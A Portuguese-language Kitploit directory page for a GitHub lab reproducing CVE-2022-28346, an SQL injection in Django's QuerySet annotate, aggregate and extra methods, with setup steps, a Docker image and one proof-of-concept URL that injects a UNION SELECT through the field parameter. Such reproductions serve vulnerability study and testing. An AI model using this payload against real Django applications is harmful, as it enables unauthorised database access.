Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2022-28346 — Django QuerySet.annotate(), aggregate(), extra() Injeção de SQL | Kitploit
Ferramentas/GitHubGitHub/deepingh0st/cve-2022-28346
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoSegurança de Banco de Dados
GitHubdeepingh0st/cve-2022-28346

CVE-2022-28346

Django QuerySet.annotate(), aggregate(), extra() Injeção de SQL

Ver Repositório
2451há 4 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2022-28346

Injeção SQL em Django QuerySet.annotate(), aggregate(), extra()

Inicialização do ambiente

root@kitploit:~
1.python manage.py makemigrations
2.python manage.py migrate
3.访问http://x.x.x.x:8000/ 插入初始化数据

Reprodução da vulnerabilidade

root@kitploit:~
访问http://x.x.x.x:8000/demo
POC: http://x.x.x.x:8000/demo?field=demo.name" FROM "demo_user" union SELECT "1",sqlite_version(),"3" --

image-20220426224053969

Docker

root@kitploit:~
docker pull s0cke3t/cve-2022-28346:latest
Baixar ferramenta